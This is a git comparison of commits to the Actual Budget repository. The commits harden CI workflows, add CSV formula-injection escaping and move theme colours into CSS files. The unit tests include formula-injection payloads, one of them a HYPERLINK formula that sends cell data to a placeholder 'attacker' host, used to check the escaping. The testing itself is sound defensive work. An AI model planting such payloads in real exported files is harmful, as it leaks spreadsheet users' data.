Compare commits
11 Commits
7710-bundl
...
master
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
068185751c | ||
|
|
8f0265e0b0 | ||
|
|
3494f78c94 | ||
|
|
46c350613c | ||
|
|
9b19cd2616 | ||
|
|
1f101077d6 | ||
|
|
62d7c0e479 | ||
|
|
740392941d | ||
|
|
d4528e18ea | ||
|
|
3d47eae87b | ||
|
|
90a1e9bdd3 |
4
.github/actions/setup/action.yml
vendored
@@ -39,8 +39,10 @@ runs:
|
||||
path: ${{ format('{0}/**/node_modules', inputs.working-directory) }}
|
||||
key: yarn-v1-${{ runner.os }}-${{ steps.get-node.outputs.version }}-${{ hashFiles(format('{0}/**/yarn.lock', inputs.working-directory)) }}
|
||||
- name: Ensure Lage cache directory exists
|
||||
run: mkdir -p ${{ format('{0}/.lage', inputs.working-directory) }}
|
||||
run: mkdir -p "$WORKING_DIRECTORY/.lage"
|
||||
shell: bash
|
||||
env:
|
||||
WORKING_DIRECTORY: ${{ inputs.working-directory }}
|
||||
- name: Cache Lage
|
||||
uses: actions/cache@cdf6c1fa76f9f475f3d7449005a359c84ca0f306 # v5.0.3
|
||||
if: ${{ inputs.cache == 'true' }}
|
||||
|
||||
@@ -9,6 +9,7 @@ jobs:
|
||||
# Only run on PR comments from CodeRabbit bot
|
||||
if: github.event.issue.pull_request && github.event.comment.user.login == 'coderabbitai[bot]'
|
||||
runs-on: ubuntu-latest
|
||||
environment: ai-release-notes
|
||||
timeout-minutes: 10
|
||||
permissions:
|
||||
contents: write
|
||||
|
||||
1
.github/workflows/docs-spelling.yml
vendored
@@ -146,6 +146,7 @@ jobs:
|
||||
pull-requests: write
|
||||
actions: read
|
||||
runs-on: ubuntu-latest
|
||||
environment: docs-spelling
|
||||
if: ${{
|
||||
github.event_name == 'issue_comment' &&
|
||||
github.event.issue.pull_request &&
|
||||
|
||||
29
.github/workflows/electron-master.yml
vendored
@@ -100,10 +100,11 @@ jobs:
|
||||
path: |
|
||||
packages/desktop-electron/dist/*.appx
|
||||
- name: Add to new release
|
||||
uses: softprops/action-gh-release@153bb8e04406b158c6c84fc1615b65b24149a1fe # v2.6.1
|
||||
with:
|
||||
draft: true
|
||||
body: |
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
GH_REPO: ${{ github.repository }}
|
||||
TAG: ${{ github.ref_name }}
|
||||
RELEASE_NOTES: |
|
||||
:link: [View release notes](https://actualbudget.org/blog/release-${{ steps.process_version.outputs.version }})
|
||||
|
||||
## Desktop releases
|
||||
@@ -114,13 +115,27 @@ jobs:
|
||||
<img src="data:image/gif;base64,R0lGODlhAQABAAAAACw=" width="12" height="1" alt="" />
|
||||
<a href="https://flathub.org/apps/com.actualbudget.actual"><img width="165" style="margin-left:12px;" alt="Get it on Flathub" src="https://flathub.org/api/badge?locale=en" /></a>
|
||||
</p>
|
||||
files: |
|
||||
run: |
|
||||
# The matrix runs three OS jobs in parallel against one release;
|
||||
# only ignore the "already exists" error that the race losers hit.
|
||||
if ! create_output=$(gh release create "$TAG" --draft --title "$TAG" --notes "$RELEASE_NOTES" 2>&1); then
|
||||
if [[ "$create_output" != *already_exists* ]]; then
|
||||
echo "$create_output" >&2
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
shopt -s extglob nullglob
|
||||
files=(
|
||||
packages/desktop-electron/dist/*.dmg
|
||||
packages/desktop-electron/dist/*.exe
|
||||
!packages/desktop-electron/dist/Actual-windows.exe
|
||||
packages/desktop-electron/dist/!(Actual-windows).exe
|
||||
packages/desktop-electron/dist/*.AppImage
|
||||
packages/desktop-electron/dist/*.flatpak
|
||||
packages/desktop-electron/dist/*.appx
|
||||
)
|
||||
if [ ${#files[@]} -gt 0 ]; then
|
||||
gh release upload "$TAG" --clobber "${files[@]}"
|
||||
fi
|
||||
|
||||
outputs:
|
||||
version: ${{ steps.process_version.outputs.version }}
|
||||
|
||||
@@ -12,6 +12,7 @@ permissions:
|
||||
jobs:
|
||||
extract-and-upload-i18n-strings:
|
||||
runs-on: ubuntu-latest
|
||||
environment: i18n
|
||||
if: github.repository == 'actualbudget/actual'
|
||||
steps:
|
||||
- name: Check out main repository
|
||||
|
||||
@@ -11,21 +11,21 @@ jobs:
|
||||
needs-votes:
|
||||
if: ${{ github.event.label.name == 'feature' }}
|
||||
runs-on: ubuntu-latest
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
GH_REPO: ${{ github.repository }}
|
||||
ISSUE_NUMBER: ${{ github.event.issue.number }}
|
||||
steps:
|
||||
- uses: actions-ecosystem/action-add-labels@bd52874380e3909a1ac983768df6976535ece7f8 # v1.1.0
|
||||
with:
|
||||
labels: needs votes
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
- name: Add needs votes label
|
||||
run: gh issue edit "$ISSUE_NUMBER" --add-label "needs votes"
|
||||
- name: Add reactions
|
||||
uses: aidan-mundy/react-to-issue@109392cac5159c2df6c47c8ab3b5d6b708852fe5 # v1.1.2
|
||||
with:
|
||||
issue-number: ${{ github.event.issue.number }}
|
||||
reactions: '+1'
|
||||
- name: Create comment
|
||||
uses: peter-evans/create-or-update-comment@e8674b075228eee787fea43ef493e45ece1004c9 # v5.0.0
|
||||
with:
|
||||
issue-number: ${{ github.event.issue.number }}
|
||||
body: |
|
||||
env:
|
||||
COMMENT_BODY: |
|
||||
:sparkles: Thanks for sharing your idea! :sparkles:
|
||||
|
||||
This repository uses a voting-based system for feature requests. While enhancement issues are automatically closed, we still welcome feature requests! The voting system helps us gauge community interest in potential features. We also encourage community contributions for any feature requests marked as needing votes (just post a comment first so we can help guide you toward a successful contribution).
|
||||
@@ -35,7 +35,6 @@ jobs:
|
||||
Don't forget to upvote the top comment with 👍!
|
||||
|
||||
<!-- feature-auto-close-comment -->
|
||||
run: gh issue comment "$ISSUE_NUMBER" --body "$COMMENT_BODY"
|
||||
- name: Close Issue
|
||||
run: gh issue close "https://github.com/actualbudget/actual/issues/${{ github.event.issue.number }}"
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: gh issue close "$ISSUE_NUMBER"
|
||||
|
||||
1
.github/workflows/release-notes.yml
vendored
@@ -14,6 +14,7 @@ concurrency:
|
||||
jobs:
|
||||
release-notes:
|
||||
runs-on: ubuntu-latest
|
||||
environment: pr-automation
|
||||
steps:
|
||||
- name: Check if triggered by bot
|
||||
id: bot-check
|
||||
|
||||
1
.github/workflows/vrt-update-apply.yml
vendored
@@ -16,6 +16,7 @@ jobs:
|
||||
apply-vrt-updates:
|
||||
name: Apply VRT Updates
|
||||
runs-on: ubuntu-latest
|
||||
environment: pr-automation
|
||||
if: ${{ github.event.workflow_run.conclusion == 'success' }}
|
||||
steps:
|
||||
- name: Download patch artifact
|
||||
|
||||
@@ -154,6 +154,50 @@ describe('formatOutput', () => {
|
||||
expect(result).toContain('166500');
|
||||
expect(result).not.toContain('1665.00');
|
||||
});
|
||||
|
||||
describe('formula-injection neutralization', () => {
|
||||
it.each([['=1+1'], ['+1+1'], ['-2+3'], ['@SUM(1+1)'], ['\tHELLO']])(
|
||||
'prefixes a leading %j with a single quote',
|
||||
payload => {
|
||||
const data = [{ val: payload }];
|
||||
const result = formatOutput(data, 'csv');
|
||||
expect(result).toBe(`val\n'${payload}`);
|
||||
},
|
||||
);
|
||||
|
||||
it('prefixes and quotes a leading carriage return', () => {
|
||||
const data = [{ val: '\rHELLO' }];
|
||||
const result = formatOutput(data, 'csv');
|
||||
expect(result).toBe('val\n"\'\rHELLO"');
|
||||
});
|
||||
|
||||
it('quotes values containing a carriage return mid-string', () => {
|
||||
const data = [{ val: 'line1\rline2' }];
|
||||
const result = formatOutput(data, 'csv');
|
||||
expect(result).toBe('val\n"line1\rline2"');
|
||||
});
|
||||
|
||||
it('neutralizes formula triggers even when the value also needs quoting', () => {
|
||||
const data = [{ val: '=HYPERLINK("http://attacker/?d="&B2,"x")' }];
|
||||
const result = formatOutput(data, 'csv');
|
||||
const lines = result.split('\n');
|
||||
expect(lines[1]).toBe(
|
||||
'"\'=HYPERLINK(""http://attacker/?d=""&B2,""x"")"',
|
||||
);
|
||||
});
|
||||
|
||||
it('does not neutralize trigger characters that appear mid-string', () => {
|
||||
const data = [{ val: 'a+b' }];
|
||||
const result = formatOutput(data, 'csv');
|
||||
expect(result).toBe('val\na+b');
|
||||
});
|
||||
|
||||
it('does not prefix negative amount values', () => {
|
||||
const data = [{ amount: -2500 }];
|
||||
const result = formatOutput(data, 'csv');
|
||||
expect(result).toBe('amount\n-25.00');
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
@@ -73,9 +73,7 @@ function formatCsv(data: unknown): string {
|
||||
if (data && typeof data === 'object') {
|
||||
const entries = Object.entries(data);
|
||||
const header = entries.map(([k]) => escapeCsv(k)).join(',');
|
||||
const values = entries
|
||||
.map(([k, v]) => escapeCsv(formatCellValue(k, v)))
|
||||
.join(',');
|
||||
const values = entries.map(([k, v]) => formatCsvCell(k, v)).join(',');
|
||||
return header + '\n' + values;
|
||||
}
|
||||
return String(data);
|
||||
@@ -89,14 +87,31 @@ function formatCsv(data: unknown): string {
|
||||
const header = keys.map(k => escapeCsv(k)).join(',');
|
||||
const rows = data.map(row => {
|
||||
const r = row as Record<string, unknown>;
|
||||
return keys.map(k => escapeCsv(formatCellValue(k, r[k]))).join(',');
|
||||
return keys.map(k => formatCsvCell(k, r[k])).join(',');
|
||||
});
|
||||
|
||||
return [header, ...rows].join('\n');
|
||||
}
|
||||
|
||||
const FORMULA_TRIGGERS = /^[=+\-@\t\r]/;
|
||||
|
||||
function formatCsvCell(key: string, value: unknown): string {
|
||||
let formatted = formatCellValue(key, value);
|
||||
// Skip neutralization for numeric values so legitimate negative amounts
|
||||
// like "-25.00" aren't quoted as text.
|
||||
if (typeof value !== 'number' && FORMULA_TRIGGERS.test(formatted)) {
|
||||
formatted = "'" + formatted;
|
||||
}
|
||||
return escapeCsv(formatted);
|
||||
}
|
||||
|
||||
function escapeCsv(value: string): string {
|
||||
if (value.includes(',') || value.includes('"') || value.includes('\n')) {
|
||||
if (
|
||||
value.includes(',') ||
|
||||
value.includes('"') ||
|
||||
value.includes('\n') ||
|
||||
value.includes('\r')
|
||||
) {
|
||||
return '"' + value.replace(/"/g, '""') + '"';
|
||||
}
|
||||
return value;
|
||||
|
||||
@@ -2,19 +2,15 @@ import { type ReactNode } from 'react';
|
||||
|
||||
import type { Preview } from '@storybook/react-vite';
|
||||
|
||||
// Not ideal to import from desktop-client, but we need a source of truth for theme variables
|
||||
// TODO: this needs refactoring
|
||||
// oxlint-disable-next-line actual/enforce-boundaries
|
||||
import * as darkTheme from '../../desktop-client/src/style/themes/dark';
|
||||
// oxlint-disable-next-line actual/enforce-boundaries
|
||||
import * as lightTheme from '../../desktop-client/src/style/themes/light';
|
||||
// oxlint-disable-next-line actual/enforce-boundaries
|
||||
import * as midnightTheme from '../../desktop-client/src/style/themes/midnight';
|
||||
import darkThemeCss from '../src/themes/dark.css?inline';
|
||||
import lightThemeCss from '../src/themes/light.css?inline';
|
||||
import midnightThemeCss from '../src/themes/midnight.css?inline';
|
||||
import paletteCss from '../src/themes/palette.css?inline';
|
||||
|
||||
const THEMES = {
|
||||
light: lightTheme,
|
||||
dark: darkTheme,
|
||||
midnight: midnightTheme,
|
||||
light: lightThemeCss,
|
||||
dark: darkThemeCss,
|
||||
midnight: midnightThemeCss,
|
||||
} as const;
|
||||
|
||||
type ThemeName = keyof typeof THEMES;
|
||||
@@ -30,13 +26,10 @@ const ThemedStory = ({
|
||||
throw new Error(`No theme specified`);
|
||||
}
|
||||
|
||||
const css = Object.entries(THEMES[themeName])
|
||||
.map(([key, value]) => `--color-${key}: ${value};`)
|
||||
.join('\n');
|
||||
|
||||
return (
|
||||
<div>
|
||||
<style>{`:root {\n${css}}`}</style>
|
||||
<style>{paletteCss}</style>
|
||||
<style>{THEMES[themeName]}</style>
|
||||
{children}
|
||||
</div>
|
||||
);
|
||||
|
||||
@@ -31,6 +31,10 @@
|
||||
"./text": "./src/Text.tsx",
|
||||
"./text-one-line": "./src/TextOneLine.tsx",
|
||||
"./theme": "./src/theme.ts",
|
||||
"./themes/palette.css": "./src/themes/palette.css",
|
||||
"./themes/light.css": "./src/themes/light.css",
|
||||
"./themes/dark.css": "./src/themes/dark.css",
|
||||
"./themes/midnight.css": "./src/themes/midnight.css",
|
||||
"./tokens": "./src/tokens.ts",
|
||||
"./toggle": "./src/Toggle.tsx",
|
||||
"./tooltip": "./src/Tooltip.tsx",
|
||||
|
||||
250
packages/component-library/src/themes/dark.css
Normal file
@@ -0,0 +1,250 @@
|
||||
:root {
|
||||
--color-pageBackground: var(--palette-gray900);
|
||||
--color-pageBackgroundModalActive: var(--palette-gray800);
|
||||
--color-pageBackgroundTopLeft: var(--palette-navy800);
|
||||
--color-pageBackgroundBottomRight: var(--palette-gray700);
|
||||
--color-pageBackgroundLineTop: var(--palette-purple400);
|
||||
--color-pageBackgroundLineMid: var(--palette-navy900);
|
||||
--color-pageBackgroundLineBottom: var(--palette-navy150);
|
||||
--color-pageText: var(--palette-navy150);
|
||||
--color-pageTextLight: var(--palette-navy300);
|
||||
--color-pageTextSubdued: var(--palette-navy500);
|
||||
--color-pageTextDark: var(--palette-navy100);
|
||||
--color-pageTextPositive: var(--palette-purple200);
|
||||
--color-pageTextLink: var(--palette-purple400);
|
||||
--color-pageTextLinkLight: var(--palette-purple200);
|
||||
|
||||
--color-cardBackground: var(--palette-gray800);
|
||||
--color-cardBorder: var(--palette-purple400);
|
||||
--color-cardShadow: var(--palette-navy700);
|
||||
|
||||
--color-tableBackground: var(--palette-navy800);
|
||||
--color-tableRowBackgroundHover: var(--palette-navy700);
|
||||
--color-tableText: var(--palette-navy150);
|
||||
--color-tableTextLight: var(--color-tableText);
|
||||
--color-tableTextSubdued: var(--palette-navy500);
|
||||
--color-tableTextSelected: var(--palette-navy150);
|
||||
--color-tableTextHover: var(--palette-navy400);
|
||||
--color-tableTextInactive: var(--palette-navy500);
|
||||
--color-tableHeaderText: var(--palette-navy300);
|
||||
--color-tableHeaderBackground: var(--palette-navy700);
|
||||
--color-tableBorder: var(--palette-navy600);
|
||||
--color-tableBorderSelected: var(--palette-purple400);
|
||||
--color-tableBorderHover: var(--palette-purple300);
|
||||
--color-tableBorderSeparator: var(--palette-navy400);
|
||||
--color-tableRowBackgroundHighlight: var(--palette-purple800);
|
||||
--color-tableRowBackgroundHighlightText: var(--palette-navy150);
|
||||
--color-tableRowHeaderBackground: var(--palette-navy700);
|
||||
--color-tableRowHeaderText: var(--palette-navy150);
|
||||
|
||||
--color-numberPositive: var(--palette-green300);
|
||||
--color-numberNegative: var(--palette-red200);
|
||||
--color-numberNeutral: var(--palette-navy500);
|
||||
--color-budgetNumberNegative: var(--color-numberNegative);
|
||||
--color-budgetNumberZero: var(--color-tableTextSubdued);
|
||||
--color-budgetNumberNeutral: var(--color-tableText);
|
||||
--color-budgetNumberPositive: var(--color-budgetNumberNeutral);
|
||||
--color-templateNumberFunded: var(--color-numberPositive);
|
||||
--color-templateNumberUnderFunded: var(--palette-orange300);
|
||||
--color-toBudgetPositive: var(--color-numberPositive);
|
||||
--color-toBudgetZero: var(--color-numberPositive);
|
||||
--color-toBudgetNegative: var(--color-budgetNumberNegative);
|
||||
|
||||
--color-sidebarBackground: var(--palette-navy900);
|
||||
--color-sidebarItemBackgroundPending: var(--palette-orange200);
|
||||
--color-sidebarItemBackgroundPositive: var(--palette-green500);
|
||||
--color-sidebarItemBackgroundFailed: var(--palette-red300);
|
||||
--color-sidebarItemAccentSelected: var(--palette-purple200);
|
||||
--color-sidebarItemBackgroundHover: var(--palette-navy700);
|
||||
--color-sidebarItemText: var(--palette-navy150);
|
||||
--color-sidebarItemTextSelected: var(--palette-purple200);
|
||||
--color-sidebarBudgetName: var(--palette-navy300);
|
||||
|
||||
--color-menuBackground: var(--palette-navy800);
|
||||
--color-menuItemBackground: var(--palette-navy800);
|
||||
--color-menuItemBackgroundHover: var(--palette-navy500);
|
||||
--color-menuItemText: var(--palette-navy100);
|
||||
--color-menuItemTextHover: var(--palette-navy50);
|
||||
--color-menuItemTextSelected: var(--palette-purple400);
|
||||
--color-menuItemTextHeader: var(--palette-purple200);
|
||||
--color-menuBorder: var(--palette-navy900);
|
||||
--color-menuBorderHover: var(--palette-purple400);
|
||||
--color-menuKeybindingText: var(--palette-purple200);
|
||||
--color-menuAutoCompleteBackground: var(--palette-navy900);
|
||||
--color-menuAutoCompleteBackgroundHover: var(--palette-navy600);
|
||||
--color-menuAutoCompleteText: var(--palette-navy200);
|
||||
--color-menuAutoCompleteTextHeader: var(--palette-purple200);
|
||||
--color-menuAutoCompleteItemText: var(--color-menuItemText);
|
||||
|
||||
--color-modalBackground: var(--palette-gray800);
|
||||
--color-modalBorder: var(--palette-navy600);
|
||||
--color-mobileHeaderBackground: var(--palette-purple800);
|
||||
--color-mobileHeaderText: var(--palette-navy150);
|
||||
--color-mobileHeaderTextSubdued: var(--palette-gray200);
|
||||
--color-mobileHeaderTextHover: rgba(200, 200, 200, 0.15);
|
||||
--color-mobilePageBackground: var(--palette-navy700);
|
||||
--color-mobileNavBackground: var(--palette-navy800);
|
||||
--color-mobileNavItem: var(--palette-navy150);
|
||||
--color-mobileNavItemSelected: var(--palette-purple400);
|
||||
--color-mobileAccountShadow: var(--color-cardShadow);
|
||||
--color-mobileAccountText: var(--palette-blue800);
|
||||
--color-mobileTransactionSelected: var(--palette-purple400);
|
||||
|
||||
--color-mobileViewTheme: var(--color-mobileHeaderBackground);
|
||||
--color-mobileConfigServerViewTheme: var(--palette-purple500);
|
||||
|
||||
--color-markdownNormal: var(--palette-purple700);
|
||||
--color-markdownDark: var(--palette-purple500);
|
||||
--color-markdownLight: var(--palette-purple800);
|
||||
|
||||
--color-buttonMenuText: var(--palette-navy200);
|
||||
--color-buttonMenuTextHover: var(--color-buttonMenuText);
|
||||
--color-buttonMenuBackground: transparent;
|
||||
--color-buttonMenuBackgroundHover: rgba(200, 200, 200, 0.25);
|
||||
--color-buttonMenuBorder: var(--palette-navy500);
|
||||
--color-buttonMenuSelectedText: var(--palette-green800);
|
||||
--color-buttonMenuSelectedTextHover: var(--palette-orange800);
|
||||
--color-buttonMenuSelectedBackground: var(--palette-orange200);
|
||||
--color-buttonMenuSelectedBackgroundHover: var(--palette-orange300);
|
||||
--color-buttonMenuSelectedBorder: var(--color-buttonMenuSelectedBackground);
|
||||
|
||||
--color-buttonPrimaryText: var(--palette-white);
|
||||
--color-buttonPrimaryTextHover: var(--color-buttonPrimaryText);
|
||||
--color-buttonPrimaryBackground: var(--palette-purple400);
|
||||
--color-buttonPrimaryBackgroundHover: var(--palette-purple600);
|
||||
--color-buttonPrimaryBorder: var(--color-buttonPrimaryBackground);
|
||||
--color-buttonPrimaryShadow: rgba(0, 0, 0, 0.6);
|
||||
--color-buttonPrimaryDisabledText: var(--palette-navy700);
|
||||
--color-buttonPrimaryDisabledBackground: var(--palette-navy400);
|
||||
--color-buttonPrimaryDisabledBorder: var(
|
||||
--color-buttonPrimaryDisabledBackground
|
||||
);
|
||||
|
||||
--color-buttonNormalText: var(--palette-navy150);
|
||||
--color-buttonNormalTextHover: var(--palette-navy150);
|
||||
--color-buttonNormalBackground: var(--palette-navy800);
|
||||
--color-buttonNormalBackgroundHover: var(--palette-navy600);
|
||||
--color-buttonNormalBorder: var(--palette-navy300);
|
||||
--color-buttonNormalShadow: rgba(0, 0, 0, 0.4);
|
||||
--color-buttonNormalSelectedText: var(--palette-white);
|
||||
--color-buttonNormalSelectedBackground: var(--palette-purple600);
|
||||
--color-buttonNormalDisabledText: var(--palette-navy500);
|
||||
--color-buttonNormalDisabledBackground: var(--palette-navy800);
|
||||
--color-buttonNormalDisabledBorder: var(--palette-navy500);
|
||||
|
||||
--color-calendarText: var(--palette-navy50);
|
||||
--color-calendarBackground: var(--palette-navy900);
|
||||
--color-calendarItemText: var(--palette-navy150);
|
||||
--color-calendarItemBackground: var(--palette-navy800);
|
||||
--color-calendarSelectedBackground: var(
|
||||
--color-buttonNormalSelectedBackground
|
||||
);
|
||||
|
||||
--color-buttonBareText: var(--color-buttonNormalText);
|
||||
--color-buttonBareTextHover: var(--color-buttonNormalText);
|
||||
--color-buttonBareBackground: transparent;
|
||||
--color-buttonBareBackgroundHover: rgba(200, 200, 200, 0.3);
|
||||
--color-buttonBareBackgroundActive: rgba(200, 200, 200, 0.5);
|
||||
--color-buttonBareDisabledText: var(--color-buttonNormalDisabledText);
|
||||
--color-buttonBareDisabledBackground: var(--color-buttonBareBackground);
|
||||
|
||||
--color-noticeBackground: var(--palette-green800);
|
||||
--color-noticeBackgroundLight: var(--palette-green900);
|
||||
--color-noticeBackgroundDark: var(--palette-green500);
|
||||
--color-noticeText: var(--palette-green300);
|
||||
--color-noticeTextLight: var(--palette-green500);
|
||||
--color-noticeTextDark: var(--palette-green150);
|
||||
--color-noticeTextMenu: var(--palette-green500);
|
||||
--color-noticeBorder: var(--palette-green800);
|
||||
--color-warningBackground: var(--palette-orange800);
|
||||
--color-warningText: var(--palette-orange300);
|
||||
--color-warningTextLight: var(--palette-orange500);
|
||||
--color-warningTextDark: var(--palette-orange100);
|
||||
--color-warningBorder: var(--palette-orange500);
|
||||
--color-errorBackground: var(--palette-red800);
|
||||
--color-errorText: var(--palette-red200);
|
||||
--color-errorTextDark: var(--palette-red150);
|
||||
--color-errorTextDarker: var(--color-errorTextDark);
|
||||
--color-errorTextMenu: var(--palette-red200);
|
||||
--color-errorBorder: var(--palette-red500);
|
||||
--color-upcomingBackground: var(--palette-purple700);
|
||||
--color-upcomingText: var(--palette-purple100);
|
||||
--color-upcomingBorder: var(--color-tableBorder);
|
||||
|
||||
--color-formLabelText: var(--palette-purple150);
|
||||
--color-formLabelBackground: var(--palette-blue900);
|
||||
--color-formInputBackground: var(--palette-navy800);
|
||||
--color-formInputBackgroundSelected: var(--palette-navy700);
|
||||
--color-formInputBackgroundSelection: var(--palette-purple400);
|
||||
--color-formInputBorder: var(--palette-navy600);
|
||||
--color-formInputTextReadOnlySelection: var(--palette-navy800);
|
||||
--color-formInputBorderSelected: var(--palette-purple400);
|
||||
--color-formInputText: var(--palette-navy150);
|
||||
--color-formInputTextSelected: var(--palette-black);
|
||||
--color-formInputTextPlaceholder: var(--palette-navy150);
|
||||
--color-formInputTextPlaceholderSelected: var(--palette-navy100);
|
||||
--color-formInputTextSelection: var(--palette-navy800);
|
||||
--color-formInputShadowSelected: var(--palette-purple200);
|
||||
--color-formInputTextHighlight: var(--palette-purple400);
|
||||
--color-checkboxText: var(--color-tableText);
|
||||
--color-checkboxBackgroundSelected: var(--palette-purple300);
|
||||
--color-checkboxBorderSelected: var(--palette-purple300);
|
||||
--color-checkboxShadowSelected: var(--palette-purple500);
|
||||
--color-checkboxToggleBackground: var(--palette-gray700);
|
||||
--color-checkboxToggleBackgroundSelected: var(--palette-purple300);
|
||||
--color-checkboxToggleDisabled: var(--palette-gray400);
|
||||
|
||||
--color-pillBackground: var(--palette-navy800);
|
||||
--color-pillBackgroundLight: var(--palette-navy900);
|
||||
--color-pillText: var(--palette-navy200);
|
||||
--color-pillTextHighlighted: var(--palette-purple200);
|
||||
--color-pillBorder: var(--palette-navy700);
|
||||
--color-pillBorderDark: var(--color-pillBorder);
|
||||
--color-pillBackgroundSelected: var(--palette-purple600);
|
||||
--color-pillTextSelected: var(--palette-navy150);
|
||||
--color-pillBorderSelected: var(--palette-purple400);
|
||||
--color-pillTextSubdued: var(--palette-navy500);
|
||||
|
||||
--color-reportsRed: var(--palette-red300);
|
||||
--color-reportsBlue: var(--palette-blue400);
|
||||
--color-reportsGreen: var(--palette-green400);
|
||||
--color-reportsGray: var(--palette-gray400);
|
||||
--color-reportsLabel: var(--color-pageText);
|
||||
--color-reportsInnerLabel: var(--palette-navy800);
|
||||
--color-reportsNumberPositive: var(--color-numberPositive);
|
||||
--color-reportsNumberNegative: var(--color-numberNegative);
|
||||
--color-reportsNumberNeutral: var(--color-numberNeutral);
|
||||
--color-reportsChartFill: var(--color-reportsNumberPositive);
|
||||
|
||||
--color-noteTagBackground: var(--palette-purple700);
|
||||
--color-noteTagBackgroundHover: var(--palette-purple500);
|
||||
--color-noteTagDefault: var(--palette-purple700);
|
||||
--color-noteTagText: var(--palette-purple100);
|
||||
|
||||
--color-budgetOtherMonth: var(--palette-navy900);
|
||||
--color-budgetCurrentMonth: var(--color-tableBackground);
|
||||
--color-budgetHeaderOtherMonth: var(--palette-navy800);
|
||||
--color-budgetHeaderCurrentMonth: var(--color-tableHeaderBackground);
|
||||
|
||||
--color-floatingActionBarBackground: var(--palette-purple800);
|
||||
--color-floatingActionBarBorder: var(--color-floatingActionBarBackground);
|
||||
--color-floatingActionBarText: var(--palette-navy150);
|
||||
|
||||
--color-tooltipText: var(--palette-navy100);
|
||||
--color-tooltipBackground: var(--palette-navy800);
|
||||
--color-tooltipBorder: var(--palette-navy700);
|
||||
|
||||
--color-calendarCellBackground: var(--palette-navy900);
|
||||
|
||||
--color-overlayBackground: rgba(0, 0, 0, 0.3);
|
||||
|
||||
--color-chartQual1: var(--palette-chartQual1);
|
||||
--color-chartQual2: var(--palette-chartQual2);
|
||||
--color-chartQual3: var(--palette-chartQual3);
|
||||
--color-chartQual4: var(--palette-chartQual4);
|
||||
--color-chartQual5: var(--palette-chartQual5);
|
||||
--color-chartQual6: var(--palette-chartQual6);
|
||||
--color-chartQual7: var(--palette-chartQual7);
|
||||
--color-chartQual8: var(--palette-chartQual8);
|
||||
--color-chartQual9: var(--palette-chartQual9);
|
||||
}
|
||||
250
packages/component-library/src/themes/light.css
Normal file
@@ -0,0 +1,250 @@
|
||||
:root {
|
||||
--color-pageBackground: var(--palette-navy100);
|
||||
--color-pageBackgroundModalActive: var(--palette-navy200);
|
||||
--color-pageBackgroundTopLeft: var(--palette-navy100);
|
||||
--color-pageBackgroundBottomRight: var(--palette-blue150);
|
||||
--color-pageBackgroundLineTop: var(--palette-white);
|
||||
--color-pageBackgroundLineMid: var(--palette-navy100);
|
||||
--color-pageBackgroundLineBottom: var(--palette-blue150);
|
||||
--color-pageText: #272630;
|
||||
--color-pageTextLight: var(--palette-navy500);
|
||||
--color-pageTextSubdued: var(--palette-navy300);
|
||||
--color-pageTextDark: var(--palette-navy800);
|
||||
--color-pageTextPositive: var(--palette-purple600);
|
||||
--color-pageTextLink: var(--palette-blue600);
|
||||
--color-pageTextLinkLight: var(--palette-blue300);
|
||||
|
||||
--color-cardBackground: var(--palette-white);
|
||||
--color-cardBorder: var(--palette-purple700);
|
||||
--color-cardShadow: var(--palette-navy700);
|
||||
|
||||
--color-tableBackground: var(--palette-white);
|
||||
--color-tableRowBackgroundHover: var(--palette-navy50);
|
||||
--color-tableText: var(--color-pageText);
|
||||
--color-tableTextLight: var(--palette-navy400);
|
||||
--color-tableTextSubdued: var(--palette-navy100);
|
||||
--color-tableTextSelected: var(--palette-navy700);
|
||||
--color-tableTextHover: var(--palette-navy900);
|
||||
--color-tableTextInactive: var(--palette-navy500);
|
||||
--color-tableHeaderText: var(--palette-navy600);
|
||||
--color-tableHeaderBackground: var(--palette-white);
|
||||
--color-tableBorder: var(--palette-navy100);
|
||||
--color-tableBorderSelected: var(--palette-purple500);
|
||||
--color-tableBorderHover: var(--palette-purple400);
|
||||
--color-tableBorderSeparator: var(--palette-navy400);
|
||||
--color-tableRowBackgroundHighlight: var(--palette-blue150);
|
||||
--color-tableRowBackgroundHighlightText: var(--palette-navy700);
|
||||
--color-tableRowHeaderBackground: var(--palette-navy50);
|
||||
--color-tableRowHeaderText: var(--palette-navy800);
|
||||
|
||||
--color-numberPositive: var(--palette-green700);
|
||||
--color-numberNegative: var(--palette-red500);
|
||||
--color-numberNeutral: var(--palette-navy100);
|
||||
--color-budgetNumberNegative: var(--color-numberNegative);
|
||||
--color-budgetNumberZero: var(--color-tableTextSubdued);
|
||||
--color-budgetNumberNeutral: var(--color-tableText);
|
||||
--color-budgetNumberPositive: var(--color-budgetNumberNeutral);
|
||||
--color-templateNumberFunded: var(--color-numberPositive);
|
||||
--color-templateNumberUnderFunded: var(--palette-orange700);
|
||||
--color-toBudgetPositive: var(--color-numberPositive);
|
||||
--color-toBudgetZero: var(--color-numberPositive);
|
||||
--color-toBudgetNegative: var(--color-budgetNumberNegative);
|
||||
|
||||
--color-sidebarBackground: var(--palette-navy900);
|
||||
--color-sidebarItemBackgroundPending: var(--palette-orange200);
|
||||
--color-sidebarItemBackgroundPositive: var(--palette-green500);
|
||||
--color-sidebarItemBackgroundFailed: var(--palette-red300);
|
||||
--color-sidebarItemBackgroundHover: var(--palette-navy800);
|
||||
--color-sidebarItemAccentSelected: var(--palette-purple200);
|
||||
--color-sidebarItemText: var(--palette-navy150);
|
||||
--color-sidebarItemTextSelected: var(--palette-purple200);
|
||||
--color-sidebarBudgetName: var(--palette-navy150);
|
||||
|
||||
--color-menuBackground: var(--palette-white);
|
||||
--color-menuItemBackground: var(--palette-navy50);
|
||||
--color-menuItemBackgroundHover: var(--palette-navy100);
|
||||
--color-menuItemText: var(--palette-navy900);
|
||||
--color-menuItemTextHover: var(--color-menuItemText);
|
||||
--color-menuItemTextSelected: var(--palette-purple300);
|
||||
--color-menuItemTextHeader: var(--palette-navy400);
|
||||
--color-menuBorder: var(--palette-navy100);
|
||||
--color-menuBorderHover: var(--palette-purple100);
|
||||
--color-menuKeybindingText: var(--palette-navy400);
|
||||
--color-menuAutoCompleteBackground: var(--palette-navy900);
|
||||
